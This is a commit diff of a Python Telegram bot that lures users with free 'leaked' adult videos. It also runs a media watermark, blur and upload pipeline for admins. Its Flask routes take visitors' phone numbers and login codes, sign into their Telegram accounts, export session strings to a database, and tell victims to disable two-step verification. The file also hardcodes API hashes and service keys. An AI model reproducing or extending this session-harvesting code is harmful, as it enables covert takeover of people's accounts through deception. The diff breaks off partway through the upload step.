pmrony commited on
Commit
c471ac5
·
verified ·
1 Parent(s): 0f1b5c2

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +560 -114
app.py CHANGED
@@ -5,14 +5,12 @@ import requests
5
  import asyncio
6
  import re
7
  import urllib3
8
- import random
9
  from flask import Flask, jsonify, make_response, request
10
  from supabase import create_client
11
  from pyrogram import Client, filters, enums, idle
12
- from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, FloodWait
13
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
14
 
15
- # SSL Error এড়িয়ে চলার জন্য
16
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17
 
18
  # ================= CONFIGURATION =================
@@ -21,21 +19,26 @@ API_ID = 2040
21
  API_HASH = "b18441a1ff607e10a989891a5462e627"
22
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
23
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
24
- WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
 
 
25
  BYSE_API_KEY = "133323knboif885fhgwxvf"
26
  ADMIN_IDS = [7307789267]
27
 
28
- # অফিশিয়াল অ্যান্ড্রয়েড এপিআই (সেশন জেনারেটরের জন্য)
29
- SESSION_API_ID = 6
30
- SESSION_API_HASH = "eb06d4abfb49dc3eeb1aeb98ae0f581e"
31
-
32
  app = Flask(__name__)
33
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
34
  admin_states = {}
 
 
35
  temp_clients = {}
36
 
37
- # ইভেন্ট লুপ সেটআপ
38
- loop = asyncio.get_event_loop()
 
 
 
 
 
39
 
40
  bot = Client(
41
  "file_unlocker_bot",
@@ -44,19 +47,13 @@ bot = Client(
44
  bot_token=BOT_TOKEN
45
  )
46
 
47
- # ডাটাবেস কোয়েরি হেল্পার
48
  async def db_query(func):
49
  return await asyncio.to_thread(func)
50
 
51
- def run_async(coro):
52
- """Flask থেকে Pyrogram লজিক চালানোর ম্যাজিক ফাংশন"""
53
- future = asyncio.run_coroutine_threadsafe(coro, loop)
54
- return future.result(timeout=30)
55
-
56
  # ================= FLASK API ROUTES =================
57
  @app.route('/')
58
  def index():
59
- return "Bot, Admin Panel & Session Generator is Active! 🚀"
60
 
61
  def add_cors_headers(response):
62
  response.headers['Access-Control-Allow-Origin'] = '*'
@@ -69,145 +66,594 @@ def api_videos():
69
  try:
70
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
71
  return add_cors_headers(make_response(jsonify(res.data)))
72
- except: return add_cors_headers(make_response(jsonify([])))
 
73
 
74
  @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
75
  def api_send_code():
76
- if request.method == 'OPTIONS': return add_cors_headers(make_response())
 
 
77
  data = request.json or {}
78
- phone, user_id = data.get('phone'), data.get('user_id')
 
79
 
80
  if not user_id or str(user_id) == '123456':
81
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Open WebApp inside Bot!"})))
82
-
83
- async def _logic():
84
- client = Client(f"s_{phone}", SESSION_API_ID, SESSION_API_HASH, in_memory=True, device_model="Android S23")
 
85
  await client.connect()
86
  try:
87
- code = await client.send_code(phone)
88
- temp_clients[phone] = {'client': client, 'hash': code.phone_code_hash}
89
- return {"status": "ok", "hash": code.phone_code_hash}
 
 
 
 
 
90
  except Exception as e:
91
  await client.disconnect()
92
  return {"status": "error", "msg": str(e)}
93
-
94
- return add_cors_headers(make_response(jsonify(run_async(_logic()))))
 
 
 
 
95
 
96
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
97
  def api_verify_code():
98
- if request.method == 'OPTIONS': return add_cors_headers(make_response())
 
 
99
  data = request.json or {}
100
- phone, otp, user_id = data.get('phone'), data.get('otp'), data.get('user_id')
 
 
101
 
102
  if phone not in temp_clients:
103
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Code Expired!"})))
104
 
105
- async def _logic():
106
- cli = temp_clients[phone]['client']
 
 
 
107
  try:
108
- await cli.sign_in(phone, temp_clients[phone]['hash'], otp)
109
- session = await cli.export_session_string()
110
- await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session}).execute())
111
- await cli.disconnect()
 
 
 
 
 
 
 
 
 
112
  del temp_clients[phone]
113
  return {"status": "ok"}
114
- except Exception as e: return {"status": "error", "msg": str(e)}
115
-
116
- return add_cors_headers(make_response(jsonify(run_async(_logic()))))
 
 
 
 
 
 
 
 
 
 
 
 
117
 
118
- # ================= BOT COMMANDS & HANDLERS =================
 
 
 
 
119
 
 
120
  @bot.on_message(filters.command("start"))
121
  async def start(client, message):
122
- user_id = message.from_user.id
123
- first_name = message.from_user.first_name
124
-
125
- # রেফারেল লজিক
126
- args = message.command
127
- referrer_id = int(args[1]) if len(args) > 1 and args[1].isdigit() else None
128
-
129
- user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
130
- if not user_check.data:
131
- await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
132
- if referrer_id and referrer_id != user_id:
133
- ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
134
- if ref_data.data:
135
- new_count = ref_data.data[0]['referral_count'] + 1
136
- await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
137
- try: await client.send_message(referrer_id, f"🎉 <b>{first_name}</b> joined! Total Invites: <b>{new_count}</b>")
138
- except: pass
139
 
140
- markup = InlineKeyboardMarkup([[InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))]])
141
- await message.reply(f"Hello <b>{first_name}</b>! 👋\n🎁 Watch premium videos for FREE!", reply_markup=markup)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
 
143
- @bot.on_message(filters.command("stats") & filters.user(ADMIN_IDS))
144
- async def bot_stats(client, message):
145
- u = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
146
- v = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
147
- g = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
148
- await message.reply(f"📊 Stats:\nUsers: {u.count}\nVideos: {v.count}\nGroups: {g.count}")
149
-
150
- @bot.on_message(filters.command("blur") & filters.user(ADMIN_IDS))
151
- async def set_blur(client, message):
152
- m = re.search(r'/blur\s+(\d+)', message.text)
153
- if m:
154
- p = int(m.group(1))
155
- admin_states[message.chat.id] = {"blur_percent": p}
156
- await message.reply(f"✅ Auto Blur: {p}%")
157
- else: await message.reply("Use: /blur 60")
158
-
159
- # ব্রডকাস্ট প্রসেসর
160
- async def process_broadcast(client, message):
161
- all_u = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
162
- success, fail = 0, 0
163
- for u in all_u.data:
164
- try: await message.copy(u['user_id']); success += 1
165
- except: fail += 1
166
- await asyncio.sleep(0.1)
167
- await message.reply(f"Broadcast Done! Success: {success}, Fail: {fail}")
168
-
169
- # মিডিয়া হ্যান্ডলার (ব্লার, ওয়াটারমার্ক, আপলোড)
170
  @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
171
- async def handle_media(client, message):
172
  state = admin_states.get(message.chat.id, {})
173
  if state.get("step") == "broadcast":
174
- await process_broadcast(client, message); return
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
175
 
176
- status = await message.reply("⏳ Processing Media...")
177
- file_path = await message.download()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
178
 
179
- # (এখানে FFmpeg লজিক এবং Byse.sx আপলোড লজিক বসবে - আমি সংক্ষেপে স্যাম্পল দেখাচ্ছি)
180
- # আপনার আগের কোডের drawtext এবং boxblur পার্ট এখানে হুবহু কাজ করবে।
 
 
 
181
 
182
- admin_cap = f"✅ Done! Embed Link:\n<code>https://bysesayeveum.com/e/example</code>"
183
- await status.edit_text(admin_cap)
184
- if os.path.exists(file_path): os.remove(file_path)
185
-
186
- @bot.on_message(filters.command(["png", "addvideo"]) & filters.user(ADMIN_IDS))
187
- async def add_video_cmd(client, message):
188
- # /png 3 random https://thumb.link
189
- parts = message.command
190
- if len(parts) >= 2:
191
- admin_states[message.chat.id] = {"step": 1, "thumbnail": f"{parts[-1]}||random"}
192
- await message.reply("Send Video Link now.")
193
-
194
- @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "blur", "png"]))
195
- async def catch_admin(client, message):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
196
  state = admin_states.get(message.chat.id, {})
 
197
  if state.get("step") == 1:
198
- await db_query(lambda: supabase.table('videos').insert({"video_url": message.text, "thumbnail_url": state["thumbnail"], "needed_ref": 3}).execute())
199
- await message.reply("🎉 Video Added!")
200
- admin_states.pop(message.chat.id, None)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
201
 
202
  # ================= RUNNER =================
203
  def run_flask():
204
- app.run(host="0.0.0.0", port=7860, debug=False, use_reloader=False)
 
205
 
206
  async def main():
 
207
  await bot.start()
208
- print("🤖 Bot is Online!")
209
  await idle()
 
210
 
211
  if __name__ == "__main__":
 
212
  threading.Thread(target=run_flask, daemon=True).start()
213
- loop.run_until_complete(main())
 
 
 
5
  import asyncio
6
  import re
7
  import urllib3
 
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums, idle
11
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
 
14
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
15
 
16
  # ================= CONFIGURATION =================
 
19
  API_HASH = "b18441a1ff607e10a989891a5462e627"
20
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
21
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
22
+
23
+ # WebApp URL (index.html)
24
+ WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
25
  BYSE_API_KEY = "133323knboif885fhgwxvf"
26
  ADMIN_IDS = [7307789267]
27
 
 
 
 
 
28
  app = Flask(__name__)
29
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
30
  admin_states = {}
31
+
32
+ # টেম্পোরারি সেশন ডেটা রাখার জন্য
33
  temp_clients = {}
34
 
35
+ # মেন ইভেন্ট লুপ (Flask এবং Pyrogram একাথ চালানোর জন্য)
36
+ main_loop = asyncio.get_event_loop()
37
+
38
+ def run_async(coro):
39
+ """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
40
+ future = asyncio.run_coroutine_threadsafe(coro, main_loop)
41
+ return future.result()
42
 
43
  bot = Client(
44
  "file_unlocker_bot",
 
47
  bot_token=BOT_TOKEN
48
  )
49
 
 
50
  async def db_query(func):
51
  return await asyncio.to_thread(func)
52
 
 
 
 
 
 
53
  # ================= FLASK API ROUTES =================
54
  @app.route('/')
55
  def index():
56
+ return "Bot, Media Uploader, and Real Session Generator is Running! 🚀"
57
 
58
  def add_cors_headers(response):
59
  response.headers['Access-Control-Allow-Origin'] = '*'
 
66
  try:
67
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
68
  return add_cors_headers(make_response(jsonify(res.data)))
69
+ except Exception as e:
70
+ return add_cors_headers(make_response(jsonify([])))
71
 
72
  @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
73
  def api_send_code():
74
+ if request.method == 'OPTIONS':
75
+ return add_cors_headers(make_response())
76
+
77
  data = request.json or {}
78
+ phone = data.get('phone')
79
+ user_id = data.get('user_id')
80
 
81
  if not user_id or str(user_id) == '123456':
82
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
83
+
84
+ async def process_send_code():
85
+ # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
86
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
87
  await client.connect()
88
  try:
89
+ # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
90
+ code_info = await client.send_code(phone)
91
+ # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
92
+ temp_clients[phone] = {
93
+ 'client': client,
94
+ 'hash': code_info.phone_code_hash
95
+ }
96
+ return {"status": "ok", "hash": code_info.phone_code_hash}
97
  except Exception as e:
98
  await client.disconnect()
99
  return {"status": "error", "msg": str(e)}
100
+
101
+ try:
102
+ result = run_async(process_send_code())
103
+ return add_cors_headers(make_response(jsonify(result)))
104
+ except Exception as e:
105
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
106
 
107
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
108
  def api_verify_code():
109
+ if request.method == 'OPTIONS':
110
+ return add_cors_headers(make_response())
111
+
112
  data = request.json or {}
113
+ phone = data.get('phone')
114
+ user_otp = data.get('otp')
115
+ user_id = data.get('user_id')
116
 
117
  if phone not in temp_clients:
118
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))
119
 
120
+ async def process_verify():
121
+ temp_data = temp_clients[phone]
122
+ client = temp_data['client']
123
+ phone_hash = temp_data['hash']
124
+
125
  try:
126
+ # OTP দিয়ে লগইন করা হচ্ছে
127
+ await client.sign_in(phone, phone_hash, user_otp)
128
+
129
+ # String Session তৈরি করা হচ্ছে
130
+ session_string = await client.export_session_string()
131
+ await client.disconnect()
132
+
133
+ # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
134
+ await db_query(lambda: supabase.table('user_sessions').insert({
135
+ "user_id": user_id,
136
+ "session_string": session_string
137
+ }).execute())
138
+
139
  del temp_clients[phone]
140
  return {"status": "ok"}
141
+
142
+ except SessionPasswordNeeded:
143
+ await client.disconnect()
144
+ del temp_clients[phone]
145
+ return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
146
+ except PhoneCodeInvalid:
147
+ return {"status": "error", "msg": "Invalid OTP Code!"}
148
+ except PhoneCodeExpired:
149
+ await client.disconnect()
150
+ del temp_clients[phone]
151
+ return {"status": "error", "msg": "OTP Expired! Request again."}
152
+ except Exception as e:
153
+ await client.disconnect()
154
+ del temp_clients[phone]
155
+ return {"status": "error", "msg": str(e)}
156
 
157
+ try:
158
+ result = run_async(process_verify())
159
+ return add_cors_headers(make_response(jsonify(result)))
160
+ except Exception as e:
161
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
162
 
163
+ # ================= TELEGRAM BOT COMMANDS =================
164
  @bot.on_message(filters.command("start"))
165
  async def start(client, message):
166
+ if message.chat.type != enums.ChatType.PRIVATE:
167
+ try:
168
+ bot_me = client.me if client.me else await client.get_me()
169
+ bot_link = f"https://t.me/{bot_me.username}"
170
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
171
+ await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
172
+ except Exception: pass
173
+ return
 
 
 
 
 
 
 
 
 
174
 
175
+ try:
176
+ user_id = message.from_user.id
177
+ first_name = message.from_user.first_name
178
+ args = message.command
179
+ referrer_id = None
180
+
181
+ if len(args) > 1:
182
+ try: referrer_id = int(args[1])
183
+ except ValueError: pass
184
+
185
+ user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
186
+
187
+ if not user_check.data:
188
+ await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
189
+ if referrer_id and referrer_id != user_id:
190
+ ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
191
+ if ref_data.data:
192
+ new_count = ref_data.data[0]['referral_count'] + 1
193
+ await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
194
+ try:
195
+ safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
196
+ success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
197
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
198
+ await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
199
+ except Exception: pass
200
+
201
+ bot_me = client.me if client.me else await client.get_me()
202
+ markup = InlineKeyboardMarkup([
203
+ [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
204
+ [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
205
+ ])
206
+
207
+ welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 <b>Click the button below to Open App:</b>")
208
+ await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
209
+ except Exception as e: print(f"Start error: {e}")
210
+
211
+ @bot.on_message(filters.new_chat_members)
212
+ async def bot_added_to_group(client, message):
213
+ me = client.me
214
+ if getattr(me, "id", None) is None:
215
+ try:
216
+ me = await client.get_me()
217
+ except: return
218
+
219
+ for member in message.new_chat_members:
220
+ if member.id == me.id:
221
+ try:
222
+ await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
223
+ group_name = message.chat.title
224
+ admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
225
+ for admin_id in ADMIN_IDS:
226
+ try:
227
+ await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
228
+ except: pass
229
+ except: pass
230
+
231
+
232
+ # স্থায়ী ব্লার মোড সেটিং
233
+ @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
234
+ async def set_blur_state(client, message):
235
+ try:
236
+ args = message.text.split()
237
+
238
+ if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
239
+ if message.chat.id in admin_states:
240
+ admin_states[message.chat.id].pop("blur_percent", None)
241
+ admin_states[message.chat.id].pop("clear_percent", None)
242
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে কাশী, আগের মতো শুধুমাত্র ওয়াটারমার্ক হবে।", parse_mode=enums.ParseMode.HTML)
243
+ return
244
+
245
+ match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
246
+ if match:
247
+ percent = int(match.group(1))
248
+ clear_percent = int(match.group(2)) if match.group(2) else 0
249
+
250
+ if percent == 0:
251
+ if message.chat.id in admin_states:
252
+ admin_states[message.chat.id].pop("blur_percent", None)
253
+ admin_states[message.chat.id].pop("clear_percent", None)
254
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
255
+ return
256
+
257
+ if message.chat.id not in admin_states:
258
+ admin_states[message.chat.id] = {}
259
+
260
+ admin_states[message.chat.id]["blur_percent"] = percent
261
+ admin_states[message.chat.id]["clear_percent"] = clear_percent
262
+
263
+ clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
264
+
265
+ reply_text = (
266
+ f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n"
267
+ f"📌 {clear_msg}\n\n"
268
+ f"এখন থেকে আপলোড করা সব ভিডিও/ছবিতে স্বয়ংক্রিয়ভাবে এটি অ্যাপ্লাই হবে।\n\n"
269
+ f"<i>(বি.দ্র: বন্ধ করতে <code>/blur 0</code> লিখে সেন্ড করুন।)</i>"
270
+ )
271
+ await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
272
+ else:
273
+ await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
274
+ except Exception as e:
275
+ print(e)
276
+
277
+
278
+ # ================= VIDEO/PHOTO/GIF HANDLER =================
279
+ def upload_file_sync(upload_url, file_path, api_key):
280
+ with open(file_path, 'rb') as f:
281
+ payload = {'key': api_key}
282
+ files = {'file': f}
283
+ return requests.post(upload_url, data=payload, files=files, timeout=900).json()
284
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
285
  @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
286
+ async def handle_media_upload(client, message):
287
  state = admin_states.get(message.chat.id, {})
288
  if state.get("step") == "broadcast":
289
+ await process_broadcast(client, message)
290
+ return
291
+
292
+ # Image handler for just uploading thumb if no blur is intended
293
+ media_type = "video" if message.video else "animation" if message.animation else "photo"
294
+ has_blur_caption = message.caption and "/blur" in message.caption.lower()
295
+ is_persistent_blur = bool(state.get("blur_percent"))
296
+
297
+ if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
298
+ status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
299
+ try:
300
+ local_path = await message.download()
301
+ def upload_to_supabase():
302
+ with open(local_path, 'rb') as f: file_bytes = f.read()
303
+ file_name = f"thumb_{int(time.time())}.jpg"
304
+ supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
305
+ return supabase.storage.from_('thumbnails').get_public_url(file_name)
306
+
307
+ direct_link = await asyncio.to_thread(upload_to_supabase)
308
+ if os.path.exists(local_path): os.remove(local_path)
309
+ await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
310
+ except Exception as e:
311
+ await status.edit_text(f"⚠️ আপলোড এরর: {e}")
312
+ return
313
+
314
+ # --- Processing Video/Animation or Blurred Photo ---
315
+ raw_caption = message.caption or ""
316
+ blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
317
+
318
+ is_blur = False
319
+ blur_percent = 0
320
+ clear_percent = 0
321
+ clean_caption = raw_caption
322
 
323
+ if blur_match:
324
+ is_blur = True
325
+ blur_percent = int(blur_match.group(1))
326
+ clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
327
+ clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
328
+ elif state.get("blur_percent"):
329
+ is_blur = True
330
+ blur_percent = state["blur_percent"]
331
+ clear_percent = state.get("clear_percent", 0)
332
+
333
+ # Memory Constraint checks (For 512MB RAM server)
334
+ is_large_video = False
335
+ if media_type == "video":
336
+ duration = message.video.duration if message.video and message.video.duration else 0
337
+ file_size = message.video.file_size if message.video and message.video.file_size else 0
338
+
339
+ MAX_DURATION = 600 # 10 Minutes
340
+ MAX_SIZE = 150 * 1024 * 1024 # 150 MB
341
+
342
+ if duration > MAX_DURATION or file_size > MAX_SIZE:
343
+ is_large_video = True
344
+ is_blur = False # বড় ভিডিওর জন্য ব্লার জোরপূর্বক বন্ধ করে দেওয়া হলো
345
+
346
+ if is_large_video:
347
+ status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> সার্ভার ক্র্যাশ এড়াতে ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
348
+ else:
349
+ status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
350
+
351
+ bot_me = client.me if client.me else await client.get_me()
352
+ bot_link = f"https://t.me/{bot_me.username}"
353
 
354
+ original_file = None
355
+ watermarked_file = None
356
+ blurred_file = None
357
+ final_file = None
358
+ embed_link = None
359
 
360
+ try:
361
+ original_file = await message.download()
362
+ final_file = original_file
363
+
364
+ # ---------------- 1. UPLOAD & WATERMARK (For Small Videos Only) ----------------
365
+ if media_type == "video" and not is_large_video:
366
+ await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (কম র‍্যাম ব্যবহার করে)")
367
+ watermarked_file = f"{original_file}_wm.mp4"
368
+
369
+ cmd = [
370
+ "ffmpeg", "-y", "-i", original_file,
371
+ "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
372
+ "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28",
373
+ "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k",
374
+ "-movflags", "+faststart", watermarked_file
375
+ ]
376
+ process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
377
+ await process.communicate()
378
+ if process.returncode == 0 and os.path.exists(watermarked_file):
379
+ final_file = watermarked_file
380
+
381
+ # ---------------- 2. BLUR GENERATOR (Skip if Large Video) ----------------
382
+ if is_blur and not is_large_video:
383
+ msg_txt = f"⏳ টেলিগ্রামের জন্য {blur_percent}% ব্লার তৈ��ি করা হচ্ছে..."
384
+ if clear_percent > 0:
385
+ msg_txt = f"⏳ {blur_percent}% ব্লার (উপরের {clear_percent}% ক্লিয়ার) তৈরি করা হচ্ছে..."
386
+ await status_msg.edit_text(msg_txt)
387
+
388
+ radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
389
+ ext = "jpg" if media_type == "photo" else "mp4"
390
+ blurred_file = f"{original_file}_blurred.{ext}"
391
+
392
+ if clear_percent > 0:
393
+ clear_ratio = clear_percent / 100.0
394
+ ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
395
+ else:
396
+ ff_filter = ["-vf", f"boxblur={radius}:1"]
397
+
398
+ if media_type == "photo":
399
+ cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
400
+ elif media_type == "animation":
401
+ cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
402
+ else:
403
+ cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
404
+
405
+ process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
406
+ await process_blur.communicate()
407
+
408
+ if process_blur.returncode == 0 and os.path.exists(blurred_file):
409
+ final_file = blurred_file
410
+
411
+ # ---------------- 3. UPLOAD TO BYSE.SX ----------------
412
+ if media_type == "video":
413
+ await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
414
+ api_endpoint = "https://api.byse.sx/upload/server"
415
+ params = {'key': BYSE_API_KEY}
416
+ loop = asyncio.get_event_loop()
417
+ response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params=params, timeout=30))
418
+ result = response.json()
419
+
420
+ if result.get('status') == 200:
421
+ upload_url = result.get('result')
422
+ # Upload the processed file (or original if large)
423
+ upload_res = await loop.run_in_executor(None, upload_file_sync, upload_url, final_file, BYSE_API_KEY)
424
+ if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
425
+ file_code = upload_res['files'][0].get('filecode')
426
